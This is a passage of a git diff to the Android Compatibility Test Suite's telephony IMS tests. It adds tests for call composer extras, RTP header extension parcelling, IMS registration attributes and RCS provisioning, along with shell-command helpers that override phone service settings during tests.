diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
index a35dfd7..46980a2 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -21,6 +21,8 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import android.location.Location;
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.telecom.VideoProfile;
@@ -28,6 +30,8 @@
 import android.telephony.emergency.EmergencyNumber;
 import android.telephony.ims.ImsCallProfile;
 import android.telephony.ims.ImsStreamMediaProfile;
+import android.telephony.ims.RtpHeaderExtensionType;
+import android.util.ArraySet;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
@@ -36,9 +40,14 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 
 @RunWith(AndroidJUnit4.class)
 public class ImsCallProfileTest {
+    private static final RtpHeaderExtensionType EXTENSION_TYPE_1 = new RtpHeaderExtensionType(1,
+            Uri.parse("http://developer.android.com/092020/test1"));
+    private static final RtpHeaderExtensionType EXTENSION_TYPE_2 = new RtpHeaderExtensionType(2,
+            Uri.parse("http://developer.android.com/092020/test2"));
 
     @Test
     public void testParcelUnparcel() {
@@ -338,4 +347,95 @@
                 data.getCallExtraInt(ImsCallProfile.EXTRA_CALL_NETWORK_TYPE),
                 unparceledData.getCallExtraInt(ImsCallProfile.EXTRA_CALL_NETWORK_TYPE));
     }
+
+    @Test
+    public void testCallComposerExtras() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsCallProfile data = new ImsCallProfile();
+
+        // EXTRA_PRIORITY
+        data.setCallExtraInt(ImsCallProfile.EXTRA_PRIORITY,
+                ImsCallProfile.PRIORITY_URGENT);
+        assertEquals(ImsCallProfile.PRIORITY_URGENT,
+                data.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY));
+        data.setCallExtraInt(ImsCallProfile.EXTRA_PRIORITY,
+                ImsCallProfile.PRIORITY_NORMAL);
+        assertEquals(ImsCallProfile.PRIORITY_NORMAL,
+                data.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY));
+
+        // EXTRA_CALL_SUBJECT
+        String testCallSubject = "TEST_CALL_SUBJECT";
+        data.setCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT, testCallSubject);
+        assertEquals(testCallSubject, data.getCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT));
+
+        // EXTRA_CALL_LOCATION
+        Location testLocation = new Location("ImsCallProfileTest");
+        double latitude = 123;
+        double longitude = 456;
+        testLocation.setLatitude(latitude);
+        testLocation.setLongitude(longitude);
+        data.setCallExtraParcelable(ImsCallProfile.EXTRA_LOCATION, testLocation);
+        Location testGetLocation = (Location) data.getCallExtraParcelable(
+                ImsCallProfile.EXTRA_LOCATION);
+        assertEquals(latitude, testGetLocation.getLatitude(), 0);
+        assertEquals(longitude, testGetLocation.getLongitude(), 0);
+
+        // EXTRA_PICTURE_URL
+        String testPictureUrl = "TEST_PICTURE_URL";
+        data.setCallExtra(ImsCallProfile.EXTRA_PICTURE_URL, testPictureUrl);
+        assertEquals(testPictureUrl, data.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL));
+
+        // Test the whole Parcel ImsCallProfile
+        Parcel dataParceled = Parcel.obtain();
+        data.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        ImsCallProfile unparceledData = ImsCallProfile.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals("unparceled data for EXTRA_PRIORITY is not valid!",
+                data.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY),
+                        unparceledData.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY));
+
+        assertEquals("unparceled data for EXTRA_CALL_SUBJECT is not valid!",
+                data.getCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT),
+                        unparceledData.getCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT));
+
+        Location locationFromData = data.getCallExtraParcelable(ImsCallProfile.EXTRA_LOCATION);
+        Location locationFromUnparceledData = unparceledData.getCallExtraParcelable(
+                ImsCallProfile.EXTRA_LOCATION);
+        assertEquals("unparceled data for EXTRA_LOCATION latitude is not valid!",
+                locationFromData.getLatitude(), locationFromUnparceledData.getLatitude(), 0);
+        assertEquals("unparceled data for EXTRA_LOCATION Longitude is not valid!",
+                locationFromData.getLongitude(), locationFromUnparceledData.getLongitude(), 0);
+
+        assertEquals("unparceled data for EXTRA_PICTURE_URL is not valid!",
+                data.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL),
+                        unparceledData.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL));
+    }
+
+    /**
+     * Verifies basic RTP header extension type parcelling in the {@link ImsCallProfile} class.
+     */
+    @Test
+    public void testParcelUnparcelRtpHeaderExtensionTypes() {
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(),
+                new ImsStreamMediaProfile(1, 1, 1, 1, 1));
+        Set<RtpHeaderExtensionType> accepted = new ArraySet<>();
+        accepted.add(EXTENSION_TYPE_1);
+        data.setAcceptedRtpHeaderExtensionTypes(accepted);
+        assertEquals(accepted, data.getAcceptedRtpHeaderExtensionTypes());
+
+        Parcel dataParceled = Parcel.obtain();
+        data.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        ImsCallProfile unparceledData =
+                ImsCallProfile.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(accepted, unparceledData.getAcceptedRtpHeaderExtensionTypes());
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
new file mode 100644
index 0000000..55a8d0c
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.ims.ImsRegistrationAttributes;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.ArraySet;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsRegistrationAttributesTest {
+
+    @Test
+    public void testRegistrationTypeToTransportAttr() {
+        ArraySet<String> featureTags = new ArraySet<>();
+        featureTags.add("+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.msg\"");
+        featureTags.add("+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"");
+        featureTags.add("+g.gsma.callcomposer");
+
+
+        // IWLAN
+        ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN).setFeatureTags(featureTags)
+                .build();
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                attr.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
+                attr.getTransportType());
+        assertEquals(featureTags, attr.getFeatureTags());
+
+        //LTE
+        attr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE).build();
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_LTE,
+                attr.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
+                attr.getTransportType());
+        assertNotNull(attr.getFeatureTags());
+        assertEquals(0, attr.getFeatureTags().size());
+    }
+
+    @Test
+    public void testParcelUnparcel() {
+
+        ArraySet<String> featureTags = new ArraySet<>();
+        featureTags.add("+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.msg\"");
+        featureTags.add("+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"");
+        featureTags.add("+g.gsma.callcomposer");
+        ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN).setFeatureTags(featureTags)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        attr.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsRegistrationAttributes unparcelledAttr =
+                ImsRegistrationAttributes.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertEquals(attr.getRegistrationTechnology(), unparcelledAttr.getRegistrationTechnology());
+        assertEquals(attr.getTransportType(), unparcelledAttr.getTransportType());
+        assertEquals(attr.getAttributeFlags(), unparcelledAttr.getAttributeFlags());
+        assertEquals(attr.getFeatureTags(), unparcelledAttr.getFeatureTags());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
index d5ec9e0..9b84dad 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -56,12 +56,25 @@
     private static final String COMMAND_BASE = "cmd phone ";
     private static final String COMMAND_SET_IMS_SERVICE = "ims set-ims-service ";
     private static final String COMMAND_GET_IMS_SERVICE = "ims get-ims-service ";
+    private static final String COMMAND_CLEAR_SERVICE_OVERRIDE = "ims clear-ims-service-override";
     private static final String COMMAND_CARRIER_SERVICE_IDENTIFIER = "-c ";
     private static final String COMMAND_DEVICE_SERVICE_IDENTIFIER = "-d ";
     private static final String COMMAND_SLOT_IDENTIFIER = "-s ";
     private static final String COMMAND_FEATURE_IDENTIFIER = "-f ";
     private static final String COMMAND_ENABLE_IMS = "ims enable ";
     private static final String COMMAND_DISABLE_IMS = "ims disable ";
+    private static final String COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+            "src set-device-enabled ";
+    private static final String COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+            "src get-device-enabled";
+    private static final String COMMAND_SET_CARRIER_SINGLE_REGISTRATION_ENABLED =
+            "src set-carrier-enabled ";
+    private static final String COMMAND_GET_CARRIER_SINGLE_REGISTRATION_ENABLED =
+            "src get-carrier-enabled";
+    private static final String COMMAND_REMOVE_EAB_CONTACT = "uce remove-eab-contact ";
+    private static final String COMMAND_GET_UCE_ENABLED = "uce get-device-enabled";
+    private static final String COMMAND_SET_UCE_ENABLED = "uce set-device-enabled ";
+    private static final String COMMAND_SET_TEST_MODE_ENABLED = "src set-test-enabled ";
 
     private class TestCarrierServiceConnection implements ServiceConnection {
 
@@ -140,6 +153,7 @@
         }
 
         boolean overrideService(ImsFeatureConfiguration config) throws Exception {
+            mIsServiceOverridden = true;
             switch (mConnectionType) {
                 case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
                     return bindCarrierImsService(config, PACKAGE_NAME);
@@ -148,8 +162,7 @@
                     return bindDeviceImsService(config, EXTERNAL_PACKAGE_NAME);
                 }
                 case CONNECTION_TYPE_DEFAULT_SMS_APP: {
-                    setDefaultSmsApp(PACKAGE_NAME);
-                    break;
+                    return setDefaultSmsApp(PACKAGE_NAME);
                 }
             }
             return false;
@@ -159,6 +172,7 @@
             if (!mIsServiceOverridden) {
                 return;
             }
+            mIsServiceOverridden = false;
 
             if (mOrigRcsServicePackage == null) {
                 mOrigRcsServicePackage = "";
@@ -170,8 +184,7 @@
 
             switch (mConnectionType) {
                 case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
-                    setCarrierImsService(mOrigMmTelServicePackage, ImsFeature.FEATURE_MMTEL);
-                    setCarrierImsService(mOrigRcsServicePackage, ImsFeature.FEATURE_RCS);
+                    clearCarrierImsServiceOverride();
                     break;
                 }
                 case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
@@ -255,7 +268,8 @@
             mFeatureTypeToPackageOverrideMap.put(ImsFeature.FEATURE_RCS, packageName);
             String result = TelephonyUtils.executeShellCommand(mInstrumentation,
                     constructSetImsServiceOverrideCommand(true, packageName, new int[] {
-                            ImsFeature.FEATURE_MMTEL, ImsFeature.FEATURE_RCS}));
+                            ImsFeature.FEATURE_EMERGENCY_MMTEL, ImsFeature.FEATURE_MMTEL,
+                            ImsFeature.FEATURE_RCS}));
             if (ImsUtils.VDBG) {
                 Log.d(TAG, "setCarrierMmTelImsService result: " + result);
             }
@@ -284,7 +298,19 @@
             return "true".equals(result);
         }
 
-        private void setDefaultSmsApp(String packageName) throws Exception {
+        private boolean clearCarrierImsServiceOverride() throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructClearCarrierImsServiceOverrideCommand());
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "clearCarrierImsServiceOverride result: " + result);
+            }
+            return "true".equals(result);
+        }
+
+        private boolean setDefaultSmsApp(String packageName) throws Exception {
+            if (packageName == null) {
+                return false;
+            }
             RoleManager roleManager = mInstrumentation.getContext()
                     .getSystemService(RoleManager.class);
             Boolean result;
@@ -298,6 +324,7 @@
             if (ImsUtils.VDBG) {
                 Log.d(TAG, "setDefaultSmsApp result: " + result);
             }
+            return result;
         }
 
         private String getDefaultSmsApp() throws Exception {
@@ -378,6 +405,11 @@
                     + COMMAND_FEATURE_IDENTIFIER + featureType;
         }
 
+        private String constructClearCarrierImsServiceOverrideCommand() {
+            return COMMAND_BASE + COMMAND_CLEAR_SERVICE_OVERRIDE + COMMAND_SLOT_IDENTIFIER
+                    + mSlotId;
+        }
+
         private String getFeatureTypesString(int[] featureTypes) {
             if (featureTypes.length == 0) return "";
             StringBuilder builder = new StringBuilder();
@@ -459,8 +491,12 @@
         return mDeviceServiceConnection.overrideService(config);
     }
 
-    void setDefaultSmsApp() throws Exception {
-        mDefaultSmsAppConnection.overrideService(null);
+    boolean setDefaultSmsApp() throws Exception {
+        return mDefaultSmsAppConnection.overrideService(null);
+    }
+
+    void restoreDefaultSmsApp() throws Exception {
+        mDefaultSmsAppConnection.restoreOriginalPackage();
     }
 
     void disconnectCarrierImsService() throws Exception {
@@ -522,6 +558,9 @@
         mDeviceServiceConnection.restoreOriginalPackage();
         mCarrierServiceConnection.restoreOriginalPackage();
         mDefaultSmsAppConnection.restoreOriginalPackage();
+
+        // Remove any overrides for single registration state
+        setDeviceSingleRegistrationEnabled(null);
     }
 
     void enableImsService(int slot) throws Exception {
@@ -534,6 +573,40 @@
                 + COMMAND_SLOT_IDENTIFIER + slot);
     }
 
+    void setDeviceSingleRegistrationEnabled(Boolean enabled) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE
+                + COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED
+                // if "null" is sent, it will remove override
+                + (enabled != null ? enabled : "null"));
+    }
+
+    boolean getDeviceSingleRegistrationEnabled() throws Exception {
+        return Boolean.parseBoolean(TelephonyUtils.executeShellCommand(mInstrumentation,
+                COMMAND_BASE + COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED));
+    }
+
+    boolean getCarrierSingleRegistrationEnabled() throws Exception {
+        return Boolean.parseBoolean(TelephonyUtils.executeShellCommand(mInstrumentation,
+                COMMAND_BASE + COMMAND_GET_CARRIER_SINGLE_REGISTRATION_ENABLED));
+    }
+
+    boolean getDeviceUceEnabled() throws Exception {
+        return Boolean.parseBoolean(TelephonyUtils.executeShellCommand(mInstrumentation,
+                COMMAND_BASE + COMMAND_GET_UCE_ENABLED));
+    }
+
+    void setDeviceUceEnabled(boolean isEnabled) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation,
+                COMMAND_BASE + COMMAND_SET_UCE_ENABLED + isEnabled);
+    }
+
+    void removeEabContacts(int slotId, String phoneNum) throws Exception {
+        StringBuilder cmdBuilder = new StringBuilder();
+        cmdBuilder.append(COMMAND_BASE).append(COMMAND_REMOVE_EAB_CONTACT)
+                .append(COMMAND_SLOT_IDENTIFIER).append(slotId).append(" ").append(phoneNum);
+        TelephonyUtils.executeShellCommand(mInstrumentation, cmdBuilder.toString());
+    }
+
     TestImsService getCarrierService() {
         return mCarrierService;
     }
@@ -541,4 +614,9 @@
     ITestExternalImsService getExternalService() {
         return mExternalService;
     }
+
+    void setSingleRegistrationTestModeEnabled(boolean enabled) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE
+                + COMMAND_SET_TEST_MODE_ENABLED  + (enabled ? "true" : "false"));
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 8005d0d..0bf10b0 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -45,15 +45,19 @@
 import android.telephony.ims.ImsMmTelManager;
 import android.telephony.ims.ImsRcsManager;
 import android.telephony.ims.ImsReasonInfo;
+import android.telephony.ims.ImsRegistrationAttributes;
 import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.RcsUceAdapter;
 import android.telephony.ims.RegistrationManager;
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.MmTelFeature;
 import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
 import android.telephony.ims.stub.ImsConfigImplBase;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
 import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.ArraySet;
 import android.util.Base64;
 import android.util.Pair;
 
@@ -71,6 +75,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -99,22 +104,75 @@
 
     private static int sTestSlot = 0;
     private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static boolean sDeviceUceEnabled;
 
     private static final int TEST_CONFIG_KEY = 1000;
     private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
     private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
-    private static final String TEST_AUTOCONFIG_CONTENT = "<?xml version=\"1.0\"?>\n"
-            + "<wap-provisioningdoc version=\"1.1\">\n"
-            + "<characteristic type=\"VERS\">\n"
-            + "<parm name=\"version\" value=\"1\"/>\n"
-            + "<parm name=\"validity\" value=\"1728000\"/>\n"
-            + "</characteristic>"
-            + "</wap-provisioningdoc>";
+
+    private static final String TEST_RCS_CONFIG = "<RCSConfig>\n"
+            + "\t<rcsVolteSingleRegistration>1</rcsVolteSingleRegistration>\n"
+            + "\t<SERVICES>\n"
+            + "\t\t<SupportedRCSProfileVersions>UP_2.0</SupportedRCSProfileVersions>\n"
+            + "\t\t<ChatAuth>1</ChatAuth>\n"
+            + "\t\t<GroupChatAuth>1</GroupChatAuth>\n"
+            + "\t\t<ftAuth>1</ftAuth>\n"
+            + "\t\t<standaloneMsgAuth>1</standaloneMsgAuth>\n"
+            + "\t\t<geolocPushAuth>1<geolocPushAuth>\n"
+            + "\t\t<Ext>\n"
+            + "\t\t\t<DataOff>\n"
+            + "\t\t\t\t<rcsMessagingDataOff>1</rcsMessagingDataOff>\n"
+            + "\t\t\t\t<fileTransferDataOff>1</fileTransferDataOff>\n"
+            + "\t\t\t\t<mmsDataOff>1</mmsDataOff>\n"
+            + "\t\t\t\t<syncDataOff>1</syncDataOff>\n"
+            + "\t\t\t</DataOff>\n"
+            + "\t\t</Ext>\n"
+            + "\t</SERVICES>\n"
+            + "</RCSConfig>";
+    private static final String TEST_RCS_PRE_CONFIG = "<RCSPreProvisiniongConfig>\n"
+            + "\t<VERS>\n"
+            + "\t\t<version>1</version>\n"
+            + "\t\t<validity>1728000</validity>\n"
+            + "\t</VERS>\n"
+            + "\t<TOKEN>\n"
+            + "\t\t<token>X</token>\n"
+            + "\t</TOKEN>\n"
+            + "\t<EXT>\n"
+            + "\t\t<url>https://rcs.mnc123.mcc456.pub.3gppnetwork.org</url>\n"
+            + "\t</EXT>\n"
+            + "</RCSPreProvisiniongConfig>";
+    private static final int RCS_CONFIG_CB_UNKNOWN = Integer.MAX_VALUE;
+    private static final int RCS_CONFIG_CB_CHANGED = 0;
+    private static final int RCS_CONFIG_CB_ERROR   = 1;
+    private static final int RCS_CONFIG_CB_RESET   = 2;
+    private static final int RCS_CONFIG_CB_DELETE  = 3;
+    private static final int RCS_CONFIG_CB_PREPROV = 4;
+
+    private static final String CHAT_FEATURE_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"";
+    public static final String FILE_TRANSFER_FEATURE_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.fthttp\"";
+    private static final String CHAT_SERVICE_ID =
+            "org.openmobilealliance:ChatSession";
+    private static final String FILE_TRANSFER_SERVICE_ID =
+            "org.openmobilealliance:File-Transfer-HTTP";
 
     private static CarrierConfigReceiver sReceiver;
+    private static SingleRegistrationCapabilityReceiver sSrcReceiver;
 
-    private static class CarrierConfigReceiver extends BroadcastReceiver {
-        private CountDownLatch mLatch = new CountDownLatch(1);
+    private abstract static class BaseReceiver extends BroadcastReceiver {
+        protected CountDownLatch mLatch = new CountDownLatch(1);
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    private static class CarrierConfigReceiver extends BaseReceiver {
         private final int mSubId;
 
         CarrierConfigReceiver(int subId) {
@@ -130,16 +188,33 @@
                 }
             }
         }
+    }
 
-        void clearQueue() {
-            mLatch = new CountDownLatch(1);
+    private static class SingleRegistrationCapabilityReceiver extends BaseReceiver {
+        private int mCapability;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ProvisioningManager.ACTION_RCS_SINGLE_REGISTRATION_CAPABILITY_UPDATE
+                    .equals(intent.getAction())) {
+                mCapability = intent.getIntExtra(ProvisioningManager.EXTRA_STATUS,
+                        ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE
+                        | ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE);
+                mLatch.countDown();
+            }
         }
 
-        void waitForCarrierConfigChanged() throws Exception {
-            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        int getCapability() {
+            return mCapability;
         }
     }
 
+    private static class RcsProvisioningCallbackParams {
+        byte[] mConfig;
+        Integer mErrorCode;
+        String mErrorString;
+    }
+
     @BeforeClass
     public static void beforeAllTests() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -159,11 +234,20 @@
         // Configure SMS receiver based on the Android version.
         sServiceConnector.setDefaultSmsApp();
 
+        // Save the original device uce enabled config and override it.
+        sDeviceUceEnabled = sServiceConnector.getDeviceUceEnabled();
+        sServiceConnector.setDeviceUceEnabled(true);
+
         sReceiver = new CarrierConfigReceiver(sTestSub);
         IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
         // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
         InstrumentationRegistry.getInstrumentation().getContext()
                 .registerReceiver(sReceiver, filter);
+
+        sSrcReceiver = new SingleRegistrationCapabilityReceiver();
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sSrcReceiver, new IntentFilter(
+                        ProvisioningManager.ACTION_RCS_SINGLE_REGISTRATION_CAPABILITY_UPDATE));
     }
 
     @AfterClass
@@ -174,6 +258,7 @@
         // Restore all ImsService configurations that existed before the test.
         if (sServiceConnector != null) {
             sServiceConnector.disconnectServices();
+            sServiceConnector.setDeviceUceEnabled(sDeviceUceEnabled);
         }
         sServiceConnector = null;
 
@@ -185,10 +270,16 @@
             InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
             sReceiver = null;
         }
+
+        if (sSrcReceiver != null) {
+            InstrumentationRegistry.getInstrumentation()
+                    .getContext().unregisterReceiver(sSrcReceiver);
+            sSrcReceiver = null;
+        }
     }
 
     @Before
-    public void beforeTest() {
+    public void beforeTest() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -211,6 +302,9 @@
             fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
                     + "during this test.");
         }
+
+        TestAcsClient.getInstance().reset();
+        sServiceConnector.setSingleRegistrationTestModeEnabled(true);
     }
 
     @After
@@ -220,6 +314,7 @@
         }
         // Unbind the GTS ImsService after the test completes.
         if (sServiceConnector != null) {
+            sServiceConnector.setSingleRegistrationTestModeEnabled(false);
             sServiceConnector.disconnectCarrierImsService();
             sServiceConnector.disconnectDeviceImsService();
         }
@@ -721,6 +816,112 @@
     }
 
     @Test
+    public void testMmTelManagerRegistrationCallbackS() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        final ArraySet<String> featureTags = new ArraySet<>();
+        featureTags.add("featureTag1");
+        featureTags.add("featureTag2");
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Start deregistered
+        sServiceConnector.getCarrierService().getImsRegistration().onDeregistered(
+                new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED,
+                        ImsReasonInfo.CODE_UNSPECIFIED, ""));
+
+        LinkedBlockingQueue<ImsRegistrationAttributes> mRegQueue =
+                new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<ImsReasonInfo> mDeregQueue =
+                new LinkedBlockingQueue<>();
+        RegistrationManager.RegistrationCallback callback =
+                new RegistrationManager.RegistrationCallback() {
+            @Override
+            public void onRegistered(ImsRegistrationAttributes attributes) {
+                mRegQueue.offer(attributes);
+            }
+
+            @Override
+            public void onRegistering(ImsRegistrationAttributes attributes) {
+                mRegQueue.offer(attributes);
+            }
+
+            @Override
+            public void onUnregistered(ImsReasonInfo info) {
+                mDeregQueue.offer(info);
+            }
+        };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            // First try without the correct permissions.
+            ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+            ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+            mmTelManager.registerImsRegistrationCallback(getContext().getMainExecutor(), callback);
+            fail("registerImsRegistrationCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+            ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+            mmTelManager.registerImsRegistrationCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        ImsReasonInfo deregResult = waitForResult(mDeregQueue);
+        assertNotNull(deregResult);
+        assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, deregResult.getCode());
+
+        // Start registration
+        ImsRegistrationAttributes lteTagsAttr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE)
+                .setFeatureTags(featureTags)
+                .build();
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistering(lteTagsAttr);
+        ImsRegistrationAttributes attrResult = waitForResult(mRegQueue);
+        assertNotNull(attrResult);
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_LTE,
+                attrResult.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, attrResult.getTransportType());
+        assertEquals(0, attrResult.getAttributeFlags());
+        assertEquals(featureTags, attrResult.getFeatureTags());
+
+        // Complete registration
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(lteTagsAttr);
+        attrResult = waitForResult(mRegQueue);
+        assertNotNull(attrResult);
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_LTE,
+                attrResult.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, attrResult.getTransportType());
+        assertEquals(0, attrResult.getAttributeFlags());
+        assertEquals(featureTags, attrResult.getFeatureTags());
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+            ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+            mmTelManager.unregisterImsRegistrationCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            ImsManager imsManager = getContext().getSystemService(ImsManager.class);
